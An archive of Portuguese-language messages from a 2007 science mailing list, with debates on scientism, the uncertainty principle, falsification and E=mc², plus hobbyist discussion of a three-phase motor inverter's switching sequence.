TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 20:09

Olá Alberto

Alberto: "Caso haja interesse posso enviar o capítulo por email
(formato doc, 164 Kb)]."

Eu gostaria muito, por favor envie para oraculo@atibaia.com.br, obrigado.

Alberto: "Isto cheira-me a cientificismo, além de possuir um forte
conteúdo idealizador. Explico essa idealização: É como se eu dissesse
que o diamante somente existe após ter sido lapidado e/ou que a
ciência seria aquilo que sobra após os conhecimentos terem sido
depurados das concepções erradas. Vejo a ciência com suas virtudes e
seus defeitos, enquanto você considera apenas as virtudes como fazendo
parte da ciência e os defeitos como sendo próprios ao cientista. "

Pois eu acho que a acusação de "cientificismo" quase sempre é usada
para atacar a ciência, ou quem se identifica como defensor da ciência
e de seu método, de forma injusta, sendo um termo de uso bem mais
restrito. Se eu "só" enxergasse as virtudes da ciência, talvez o termo
pudesse ser aplicado, ou se eu pensasse que a ciência pode tudo ou tem
todas as respostas.

Não penso assim, e não vejo a maioria dos cientistas apresentando esse
modo de pensar, ou mesmo as pessoas ligadas a ciência.

Não há contradição em reconhecer limites ao método científico, e
reconhecer que é o melhor método que dispomos para analisar e entender
o universo físico. E é apenas isso que temos e que defendo, nada mais.

Certamente você reconhece que defeitos de seres humanos, cientistas,
se refletem e até contaminam a ciência. Aspectos políticos,
ideológicos, etc, podem, por algum tempo, pautar as direções e
interesses de pesquisas e estudos.

Mas o limite é o rigor do método e o esforço, ainda que imperfeito,
para evitar ou desviar dessas pressões. A biologia socialista da URSS
é um exemplo clássico, mas sua ineficácia contribuiu para sua
derrocada, e acabou suplantada pela biologia, digamos, mais real.

A ciência tem, e luta para ampliar, mecanismos de auto-correção. Não
funciona sempre, não funciona de modo perfeito, mas ainda assim
funciona em boa parte do tempo.

Alberto: "Digamos então que, na sua visão, eu estou usando o termo
dogma "de forma um tanto frouxa" e que você utiliza o mesmo termo de
forma mais restrita e, a meu ver, um tanto quanto preconceituosa
(quiçá preconceito contra as religiões)."

Pode ser, eu certamente tenho uma posição restritiva a religiões com
certeza. Mas isso não muda o fato de que religiões tem dogmas, em
qualquer sentido do termo, e a ciência não. Esta pode ter certezas
temporárias, determinados conhecimentos que tem tantas evidências que
fica difícil discordar deles, ou pode até, como a biologia socialista,
ficar a mercê, temporariamente, de ideologias (existe algo humano que
não sofre disso?..:-), mas dogmas que não podem ser confrontados com a
realidade ou evidências contrárias, não.

Um abraço.

Homero





SUBJECT: Re: Novo arquivo carregado em ciencialist
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 20:30

Olá Prof. Léo e todos.

Fiz o desenho que demonstra como ocorre a seqüência do chaveamento.
Vou carregá-lo na área de arquivos do grupo. Indiquei os transistores
com T no lugar de Q para diferenciar das saídas do 4017.

Obrigado Murilo.

Abraços
Tipoalgo





SUBJECT: Novo arquivo carregado em ciencialist
FROM: ciencialist@yahoogrupos.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 20:32


Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /sequenciadechaveamento.png
Carregado por : tipoalgo <tipoalgo@gmail.com>
Descrição : Seqüência de chaveamento do inv trif mínimo

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/sequenciadechaveamento.png

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

tipoalgo <tipoalgo@gmail.com>






SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 22:13

Vamos por partes, Jeff. Inseri meus comentários entre os seus. Veja
abaixo...

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
>
> >
> >Sinceramente, eu creio que muitas mentes brilhantes pensam nesses
> >problemas todos os dias e que num dado momento novas idéias vão
> >surgir, mas enquanto elas não surgem não adianta nada ficar tentando
> >diminuir o que já existe com base apenas no desejo de que mudanças
> >ocorram.
> >
>
> Creio que faltem mentes brilhantes hoje em dia.

Creio que elas nunca faltaram.

> Não estou tentando diminuir
> a física quântica, estou questionando, o que entendo como saudável numa
> lista de *discussão* de ciência.

Questionar você pode, mas não espere concordância. Ninguém disse que
você não pode questionar, mas ninguém precisa concordar com seu
questionamento. Certo?

> E tenho sim o desejo de que as coisas sejam
> melhor explicadas no futuro.

E no futuro outros terão também esse desejo para o futuro deles. Assim
é a vida. :)

> >
> >Para se propor algo melhor do que o princípio da incerteza deve-se
> >antes de mais nada procurar entender o que esse princípio significa,
> >quando, como e porque ele foi proposto e, principalmente, o que se
> >pode fazer a partir dele.
> >
>
> Concordo, mas não estou propondo nada. Só estou questionando uma
idéia e
> querendo ouvir a opinião de vocês. Se existe um raciocínio lógico
por traz
> desta idéia, eu gostaria de entendê-la.

Você pode começar procurando entender a física quântica por meio dos
muitos livros didáticos escritos sobre o assunto. Mas para entendê-la
será preciso também entender muito bem a física clássica e a própria
história da ciência. Não é algo que se faça em uma semana ou mesmo em
um mês.

> A diferença entre religião e ciência que eu considero mais
importante é,
> justamente, a possibilidade de entendimento desta última por raciocínio
> lógico. Não estou dizendo que eu consigo entender tudo, cada um tem seu
> limite, mas posso tentar e questionar, o que não é nenhuma heresia.

De fato, não é nenhuma heresia. Só dá um pouco mais de trabalho do que
"entender" a religião. :)

> >
> >O resto é conversa de "engenheiro" que não entende de física mas sonha
> >em construir um novo edifício para a ciência, como se isso pudesse ser
> >feito juntando tijolos ao acaso (má práica de engenharia, aliás).
> >
>
> Não é essa a idéia. E má prática da ciência é aceitar tudo sem
questionar,
> como seguidores de uma religião, como se as idéias dos "mentes
brilhantes"
> fossem inalcançáveis, inquestionáveis, palavras de semi-deuses :-)

Nada na ciência é aceito sem questionamento. Milhares de mentes já
questionaram o princípio da incerteza, já proporam alternativas e
fizeram críticas a respeito. Se o princípio sobrevive é porque passou
em todos os testes até agora. E é esse justamente o ponto!

Abraços,
JC

> []´,s
> Jeff.
>




SUBJECT: Re: Descoberto estado sólido da luz
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 22:16

Oba, eu quero um!



--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá
>
> Será que enfim poderemos comprar um sabre de luz Jedi de Star Wars?..:-)
>
> Um abraço.
>
> Homero
> __________________________________________
> Descoberto estado sólido da luz
>
> Pesquisadores das universidades de Melbourne, Austrália, e Cambridge,
> Inglaterra, desenvolveram uma nova teoria que mostra que a luz pode se
> comportar como um sólido. "A luz sólida irá nos ajudar a construir a
> tecnologia deste século," diz o Dr. Andrew Greentree.
>
> Ao invés de utilizar as ferramentas tradicionais encontradas nos
> laboratórios de óptica, os cientistas tiveram que empregar técnicas
> comumente utilizadas para estud
> ar a matéria.
>
> Luz sólida
>
> "Fótons de luz sólidos repelem-se mutuamente como acontece com os
> elétrons. Isto significa que nós podemos controlar os fótons, abrindo
> as portas para novos tipos de computadores mais rápidos," diz o
cientista.
>
> No trabalho , os cientistas demonstram teoricamente como projetar a
> "transição de fase" dos fótons, fazendo-os passar do comportamento de
> sólido - quando eles interagem entre si como os elétrons - para o
> comportamento de onda tradicional da luz - na qual os fótons não
> interagem entre si.
>
> "Normalmente os fótons fluem livremente mas, nas condições corretas,
> eles se repelem, e formam um cristal," diz Greentree.
>
> A nova teoria cria um campo totalmente novo de pesquisa, fazendo uma
> interseção entre a óptica e a física da matéria condensada. Agora, os
> pesquisadores experimentalistas vão começar a estudar a nova teoria
> para descobrir formas de testá-la na prática.
>
> http://tecnocientista.info/noticia_detalhe.asp?cod=5488
>




SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 22:22

E quem sou eu para lhe convencer de algo, Gil. :)

Acho que minha maior riqueza é a extensão da minha ignorância,
ampliada a cada dia, a cada nova resposta que traz consigo mais um
bocado de novas perguntas.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Prof. JC:
>
> Obrigado por me convencer que não fiz a pergunta só por
"inguinorância" :)
>
> Gil
>
> Em 14/05/07, José Carlos Antonio<profjc2003@...> escreveu:
> > Gil,
> >
> > Concordo contigo. Essa sempre foi uma preocupação minha ao ensinar
> > física para os pequenos: não confundir ciência com tecnologia.
> >
> > No entanto, o que traz muitos leigos ao assunto "ciência" é justamente
> > o fascínio da tecnologia. Há muitas pessoas que acreditam que sabendo
> > as leis de Newton poderão cosntruir naves espaciais no fundo de seus
> > quintais.
> >
> > Fico num beco "meio sem saída" na hora de falar disso com meus
> > aluninhos leigos, pois de um lado não posso iludí-los de que basta a
> > ciência para se produzir boa tecnologia e, por outro, é claro que sem
> > boa ciência não se produz boa tecnologia. O casamento entre ambas não
> > me parece simples e só me parece compreensível à luz da história da
> > ciência e do desenvolvimento tecnológico; mas essa história é
> > complexa, tem muitos buracos e é muito mal contada (como você mesmo
> > sugere ao dizer que há poucos artigos relevantes sobre o tema).
> >
> > Também gosto desse assunto e acompanho algumas discussões sobre ele.
> >
> > Abraços,
> > JC
>




SUBJECT: Re: PANACÉIA UNIVERSAL:
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 22:24

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Agora descobriram a cura desde a unha encravada até a caspa. E dão
endereço do vendedor.

É para ficarem de olho até quando as "grandes empresas farmacêuticas"
vão deixar o tal site em pé.

> E eu, com piadinhas tipo familia já fui tão moderado... se falae em
apedeuta então.....

Hhmmm... Óleo de Cascavel é a minha tradução para "snake oil", uma
expressão que os americanos tem para as panacéias que eram vendidas
por espertalhões no velho oeste, e que encontram sua encarnação mais
moderna nestes primores, como o deste site. Agora, prometer a cura da
AIDS...

[]s
--
César A. K. Grossmann
"que vai esperar o preço baixar para comprar o seu peptídeo contra
pressão alta, obesidade e calvície"



SUBJECT: P/ Alberto - Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 23:20

----- Original Message -----
From: "oraculo333"
Sent: Monday, May 14, 2007 8:09 PM
Subject: [ciencialist] P/ Alberto - Re: Determinismo e incerteza

> > "Caso haja interesse posso enviar o capítulo
>> por email (formato doc, 164 Kb)]."

> Eu gostaria muito, por favor envie para oraculo@..., obrigado.

Já enviei, espero que tenha recebido.

> Pois eu acho que a acusação de "cientificismo"
> quase sempre é usada para atacar a ciência,
> ou quem se identifica como defensor da ciência
> e de seu método, de forma injusta, sendo um
> termo de uso bem mais restrito. Se eu "só"
> enxergasse as virtudes da ciência, talvez
> o termo pudesse ser aplicado, ou se eu pensasse
> que a ciência pode tudo ou tem todas as respostas.

Há quem julgue o positivismo como algo pejorativo e, para os que
pensam dessa maneira sim, eu estaria acusando-o. Não obstante, eu
simplesmente flagrei em seu texto (e até mesmo em sua postura
costumeira na Ciencialist), algo que considerei na linha do
cientificismo, sem pretender ofendê-lo. Em dúvida, vide o "pai dos
burros" (Houaiss): Cientificismo = (Rubrica: filosofia) "concepção
filosófica de matriz positivista que afirma a superioridade da ciência
sobre todas as outras formas de compreensão humana da realidade
(religião, filosofia metafísica etc.), por ser a única capaz de
apresentar benefícios práticos e alcançar autêntico rigor cognitivo".

> Não há contradição em reconhecer limites ao
> método científico, e reconhecer que é o
> melhor método que dispomos para analisar e
> entender o universo físico. E é apenas isso
> que temos e que defendo, nada mais.

Talvez você tenha estranhado por esse ângulo, pois há também, no "pai
dos burros" (Houaiss), outra versão de cientificismo = (Rubrica:
filosofia) tendência intelelectual que preconiza a adoção do método
científico, tal como é aplicado às ciências naturais, em todas as
áreas do saber e da cultura (filosofia, ciências humanas, artes etc.).
Mas não foi isso que eu vi no seu texto, pois você nem havia falado em
método científico. Neste caso eu acharia um certo exagero (todas as
áreas do saber e da cultura), ainda que eu seja um defensor da
unicidade do método, mas apenas para as ciências (e ao pensar assim
não creio que eu esteja na linha do cientificismo).

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: P/ Alberto - Re: Determinismo e incerteza
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 23:51

Olá Alberto

Alberto: "Já enviei, espero que tenha recebido."

Muito obrigado..:-)

Alberto: "algo que considerei na linha do cientificismo, sem pretender
ofendê-lo."

Não se preocupe, jamais consideraria que teve intenção de ofender,
respeito muito sua opinião e seu conhecimento para isso (embora não
concorde sempre com você, como sabe).

Alberto: "(Houaiss): Cientificismo = (Rubrica: filosofia) "concepção
filosófica de matriz positivista que afirma a superioridade da ciência
sobre todas as outras formas de compreensão humana da realidade
(religião, filosofia metafísica etc.), por ser a única capaz de
apresentar benefícios práticos e alcançar autêntico rigor cognitivo"."

Não tenha nada contra essa definição e a acho bastante aceitável. Mas
me permite explicar porque penso que não se aplica a mim ou a minha
postura (e a postura de outros da lista em diversas circunstâncias).

Temos aqui, na definição que apresentou duas propriedades para o
termo, que são importantes como parâmetros de adequação. Primeiro,
considerar a ciência superior como forma de compreensão. Isso eu
considero, certamente. Mas, para ser cientificismo é preciso mais que
isso, é preciso que os motivos para essa posição sejam os apresentados
no restante da definição, a saber, ser a ciência a "única" capaz de
apresentar benefícios práticos e rigor cognitivo.

Não são estes os motivos que me fazem considerar a ciência superior, e
compreendo, e levo em consideração, os limites em diversas áreas, em
especial áreas do saber humano, que tem a ciência e seu método.

Se se deseja compreender a realidade "física" deste universo,
considero a ciência superior como ferramenta nesse empreendimento. Mas
se procuramos respostas a questões mais subjetivas ou mesmo
relacionadas a psicologia humana, a filosofia, entre outras
ferramentas, é mais capaz, adequada e até superior.

Em especial, benefícios práticos são minha última preocupação quanto a
capacidade da ciência, pois penso, e defendi diversas vezes, que a
mais pura, teórica e imaterial física é importante contribuição da
ciência para o conhecimento humano.

Minhas restrições a saberes não científicos se baseiam em
propriedades, não cognitivas, mas objetivas, e tem este limite bem
claro. O rigor cognitivo da filosofia, que existe, não pode ser
testado de forma empírica, o que torna toda corrente filosófica válida
de alguma forma (não se "prova" que determinado filosofo está errado
em relação a outro, uma vez que ambos apresentarão, em suas teses,
rigor cognitivo, pode-se apenas escolher um lado, com base em posições
e crenças pessoais).

Um abraço.

Homero




SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 09:58

Estou acompanhando com satisfação essa thread; realmente inspiradora. É difícil saber a linha divisória entre o insight da tecnologia e a base teórica da própria. Ao começar essa thread (e seu desdobramento) fui reler um texto meu já colocado no Imperdível no século passado para ver se necessitava de 'upgrade' ... mas, gostei do modo que está! Quem quiser verificar se concorda comigo ou não (estou torcendo para que não concordem!) dê uma lidinha em:

http://www.feiradeciencias.com.br/sala19/texto89.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 14 de maio de 2007 17:43
Assunto: [ciencialist] P/ Gil - Re: Determinismo e incerteza


Olá Gil

Gil: "Acho que algumas coisas vou tentar explicar melhor:"

Acho que fez um bom trabalho antes, e eu concordo com boa parte de
suas colocações. Apenas achei que existem circunstâncias onde
realmente a teoria é parte importante dos desdobramentos concretos da
tecnologia.

Gil: "Bem, é especialmente nas tecnologias de ponta e teorias de ponta
que a fronteira fica mais difusa. Repare que você falou de previsões ,
teorias ou dispositivos feitos no inicio do século 20 (ou até antes),
e não, nas novas teorias, dos anos 50/60, pra cá."

Com certeza, e isso porque, lembrando a frase que o Alberto enviou,
não se sabe no momento do nascimento para que serve a criança..:-)

É preciso tempo para que uma teoria, em especial na física teórica,
pura, se transforme em algo concreto, material ou tecnológico. Mas o
que tentei apresentar, é que muito do que é tecnológico, não existiria
sem a teoria, ainda que antiga (e por isso mesmo bem testada e
estabelecida).

[ ... ]


SUBJECT: Re: [ciencialist] Re: Novo arquivo carregado em ciencialist
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 10:14

Olá Murilo,

numa primeira passada d'olhos vejo que funciona para motores de baixa tensão, no caso do esquema, para 12V. Isso aí deve servir bem prá rodar motor de HD ou de cooler, por exemplo. concorda?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Tipoalgo" <tipoalgo@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 14 de maio de 2007 20:30
Assunto: [ciencialist] Re: Novo arquivo carregado em ciencialist


Olá Prof. Léo e todos.

Fiz o desenho que demonstra como ocorre a seqüência do chaveamento.
Vou carregá-lo na área de arquivos do grupo. Indiquei os transistores
com T no lugar de Q para diferenciar das saídas do 4017.

Obrigado Murilo.

Abraços
Tipoalgo





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SUBJECT: Re: [ciencialist] Novo arquivo carregado em ciencialist
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 10:25

Vou chamar o Champolion para decifrar esse sequenciamento :-)
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: <ciencialist@yahoogrupos.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 14 de maio de 2007 20:32
Assunto: [ciencialist] Novo arquivo carregado em ciencialist



Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /sequenciadechaveamento.png
Carregado por : tipoalgo <tipoalgo@gmail.com>
Descrição : Seqüência de chaveamento do inv trif mínimo

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/sequenciadechaveamento.png

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

tipoalgo <tipoalgo@gmail.com>






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SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 10:56

Completando o que Takata disse, a prova em seu
significado mais amplo só existe no mundo da lógica.
No mundo objetivo e real, o que existe são evidências
de uma teoria e não provas.

--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, "Jeff"
> <jeff@...> escreveu
> > Sobre Bell, eu tinha lido apenas sobre a sua
> teoria da impossibilidade
> > de reproduzir os resultados da quântica pelo
> modelo da clássica. Mas
> > isso ainda não prova que a quântica está certa,
> né.
>
> *Nenhuma* teoria pode ser provada como certa. O
> máximo q um cientista
> pode fazer é provar q uma teoria está errada. É o
> chamado
> falsificacionismo popperiano.
>
> []s,
>
> Roberto Takata
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 11:01

Olá Takata!

Takata >>> Ué, eu mostrei como se divide um carro sem
afastar as partes.

--- Takata, não se faça de bobo, pois de bobo vc não
tem nada. O que vc quer? Jogar xadrez fisico? Pra que?
Pra ficar fugindo do xeque mate? Lembre-se, a regra do
seu xadrez (fisica) é a seguinte: dois corpos (espaço
cheio) não ocupam o mesmo lugar no espaço (espaço
vazio). Tá querendo colocar o cavalo no mesmo espaço
do bispo? Vai contra as regras do seu próprio jogo.
Takata, por que negar? Em que ajuda a ciencia negar o
inegavel, me diz?



sinceramente
ferrari






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SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 11:15

Melhor dizendo, a probabilidade de se conseguir
realizar tais feitos por tentativa e erro é
desprezível.
Quer dizer que temos aqui a volta do design
inteligente?

Temos duas perguntas interessantes aqui:
1 - Existe efeito sem causa objetiva na natureza ?
2 - Um efeito inteligente implica numa causa
inteligente ?

Antes de responder o 2 ainda há uma terceira pergunta:
3 - O que é efeito inteligente ?

Ocorreu-me agorinha essa pergunta:
4 - Não seria o efeito quantico a propria causa ?
Quase uma degeneração do mundo objetivo....:-)


--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> Canoas podem ser feitas em tentativas e erro,
> baseadas em experiência
> pessoal (troncos flutuam, se eu ficar sobre o
> tronco, flutuo junto, se
> eu cavar no tronco para me encaixar melhor, não
> caio, etc), mas um
> submarino atômico, ou um transatlântico não
> poderiam. Pirâmides podem
> ser construidas quase sem se compreender as forças
> envolvidas, mas um
> arranha-céu de aço e vidro não pode (só os cálculos
> de forças do vento
> em grandes alturas, e a sua relação com a estrutura
> do edifício, exige
> enorme conhecimento e computadores velozes).
>
> E eu posso pensar em muitos exemplos, como
> tratamentos médicos,
> biologia, alimentação, química, etc. Em cada área,
> só podemos chegar a
> um ponto limitado, sem a teoria, sem a compreensão
> dos fenômenos
> envolvidos. Para seguir adiante, é preciso saber
> mais sobre o que
> acontece nesses casos.
>
> Um abraço.
>
> Homero
>
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 11:22

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> 1 - Existe efeito sem causa objetiva na natureza ?

Tto qto sabemos certos fenômenos quânticos.

> 3 - O que é efeito inteligente ?
Depende.

> 2 - Um efeito inteligente implica numa causa
> inteligente ?
Depende.

> 4 - Não seria o efeito quantico a propria causa ?
> Quase uma degeneração do mundo objetivo....:-)

Isso criaria um loop espaço-temporal.

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 11:33

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Takata, não se faça de bobo, pois de bobo vc não
> tem nada.

Não estou me fazendo de bobo, embora, em contrariedade ao q vc diz, eu
tenha muito de bobo.

> Pra ficar fugindo do xeque mate?

Não estou fugindo, apenas não vou derrubar meu rei porq. vc quer dar
um xeque com um peão desprotegido. Não há mate algum.

Vc falou: "E vc percebe que dividir o carro é colocar espaço vazio
entre as partes (espaços cheios)? Quando não há espaço vazio entre as
partes espaços cheios) não há divisão, concorda?"
http://br.groups.yahoo.com/group/ciencialist/message/62867

E eu disse:
"Não. Vc pode dividir o carro sem separar as partes."
http://br.groups.yahoo.com/group/ciencialist/message/62874

Aí vc perguntou:
"Ok. Mas como? Pode dar um exemplo?"
http://br.groups.yahoo.com/group/ciencialist/message/62995

E eu respondi:
"Separar aqui entenda-se como afastar - já q vc falava em aumentar o
espaço entre as partes. Vc pode desde simplesmente desatarraxar o
pneu, sem tirá-lo do lugar, até ter porções das moléculas de plástico
do painel q se rompem sem sair do lugar."
http://br.groups.yahoo.com/group/ciencialist/message/63045

Como pode ver não há nenhuma fuga. Respondi e dei um exemplo de como
dividir o carro - macroscópica e microscopicamente - sem aumentar o
espaço entre as partes.

O q ocorre é q vc está preso a uma idéia pré-Física da continuidade da
matéria. Coisa q já nos tempos de Demócrito e Leucipo se questionava,
idéia q foi desenvolvida bem depois por John Dalton e outros.

Adjacência espacial não implica em continuidade material. Do contrário
vc dirá q gêmeos siameses são uma pessoa só.

[]s,

Roberto Takata



SUBJECT: Próstata Feminina
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 11:43

Disto fiquei sabendo pelo blogue do jornalista Marcelo Leite:
http://cienciaemdia.zip.net/

Testosterone stimulates growth and secretory activity of the female
prostate in the adult gerbil (Meriones unguiculatus).
http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16707769&quer

Pesquisadores desvendam a próstata feminina
http://www.unicamp.br/unicamp/unicamp_hoje/jornalPDF/ju358pag05.pdf
---------------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Alberto - Re: Determinismo e incerteza
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 12:11

Mestre Oráculo, só um pitado:
Diamante é mineral monométrico, carbono puro, a mais dura e brilhante das pedras preciosas.
Depois de lapidado passa a chamar-se brilhante.

silvio.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 14, 2007 8:09 PM
Subject: [ciencialist] P/ Alberto - Re: Determinismo e incerteza


Olá Alberto

Alberto: "Caso haja interesse posso enviar o capítulo por email
(formato doc, 164 Kb)]."

Eu gostaria muito, por favor envie para oraculo@atibaia.com.br, obrigado.

Alberto: "Isto cheira-me a cientificismo, além de possuir um forte
conteúdo idealizador. Explico essa idealização: É como se eu dissesse
que o diamante somente existe após ter sido lapidado e/ou que a
ciência seria aquilo que sobra após os conhecimentos terem sido
depurados das concepções erradas. Vejo a ciência com suas virtudes e
seus defeitos, enquanto você considera apenas as virtudes como fazendo
parte da ciência e os defeitos como sendo próprios ao cientista. "

Pois eu acho que a acusação de "cientificismo" quase sempre é usada
para atacar a ciência, ou quem se identifica como defensor da ciência
e de seu método, de forma injusta, sendo um termo de uso bem mais
restrito. Se eu "só" enxergasse as virtudes da ciência, talvez o termo
pudesse ser aplicado, ou se eu pensasse que a ciência pode tudo ou tem
todas as respostas.

Não penso assim, e não vejo a maioria dos cientistas apresentando esse
modo de pensar, ou mesmo as pessoas ligadas a ciência.

Não há contradição em reconhecer limites ao método científico, e
reconhecer que é o melhor método que dispomos para analisar e entender
o universo físico. E é apenas isso que temos e que defendo, nada mais.

Certamente você reconhece que defeitos de seres humanos, cientistas,
se refletem e até contaminam a ciência. Aspectos políticos,
ideológicos, etc, podem, por algum tempo, pautar as direções e
interesses de pesquisas e estudos.

Mas o limite é o rigor do método e o esforço, ainda que imperfeito,
para evitar ou desviar dessas pressões. A biologia socialista da URSS
é um exemplo clássico, mas sua ineficácia contribuiu para sua
derrocada, e acabou suplantada pela biologia, digamos, mais real.

A ciência tem, e luta para ampliar, mecanismos de auto-correção. Não
funciona sempre, não funciona de modo perfeito, mas ainda assim
funciona em boa parte do tempo.

Alberto: "Digamos então que, na sua visão, eu estou usando o termo
dogma "de forma um tanto frouxa" e que você utiliza o mesmo termo de
forma mais restrita e, a meu ver, um tanto quanto preconceituosa
(quiçá preconceito contra as religiões)."

Pode ser, eu certamente tenho uma posição restritiva a religiões com
certeza. Mas isso não muda o fato de que religiões tem dogmas, em
qualquer sentido do termo, e a ciência não. Esta pode ter certezas
temporárias, determinados conhecimentos que tem tantas evidências que
fica difícil discordar deles, ou pode até, como a biologia socialista,
ficar a mercê, temporariamente, de ideologias (existe algo humano que
não sofre disso?..:-), mas dogmas que não podem ser confrontados com a
realidade ou evidências contrárias, não.

Um abraço.

Homero






------------------------------------------------------------------------------


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SUBJECT: Re: Novo arquivo carregado em ciencialist
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 12:59

Olá Prof. Léo e todos.

"Luiz Ferraz Netto" <leobarretos@...> escreveu
>
> Vou chamar o Champolion para decifrar esse sequenciamento :-)
> []'


Tipoalgo falando (Champolion está ocupado)!

Tentei seguir o ditado que diz que uma imagem vale mais que mil
palavras, mas pelo visto, como sou péssimo diagramador, essas mil
palavras estão confundindo tudo, peço desculpas.

O que tentei passar na figura é o seguinte:

Quando a saída Q0 do 4017 está em nível 1, os transistores que irão
conduzir são T1 e T4, alimentando as bobinas A e B;
Quando a saída Q1 do 4017 está em nível 1, os transistores que irão
conduzir são T1 e T6, alimentando as bobinas A e C;
E assim sucessivamente.

Acho que o circuito, da forma como está, se aplica melhor para
motores de indução, onde o rotor não possui campo magnético próprio.
Para motores síncronos outros controles devem ser previstos.

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 13:30

Olá Takata!

--- Tudo bem, Takata, se quer jogar xadrez, então
vamos lá. Se for pro desentrave da ciencia...

Takata >>> Vc pode desde simplesmente desatarraxar o
pneu, sem tirá-lo do lugar.

--- E a tarraxa não faz parte do carro?

--- Tarraxa na casa seis: comi seu bispo.

--- Vc é capaz de desatarraxar a tarraxa sem tirar-la
do lugar?

--- Tarraxa na casa dois: comi sua torre.

Takata >>> até ter porções das moléculas de plástico
do painel q se rompem sem sair do lugar.

--- E as moléculas de plástico do painel se rompem
como: permanecendo unidas?

--- Moléculas de plástico na casa quatro: foi-se a
rainha.

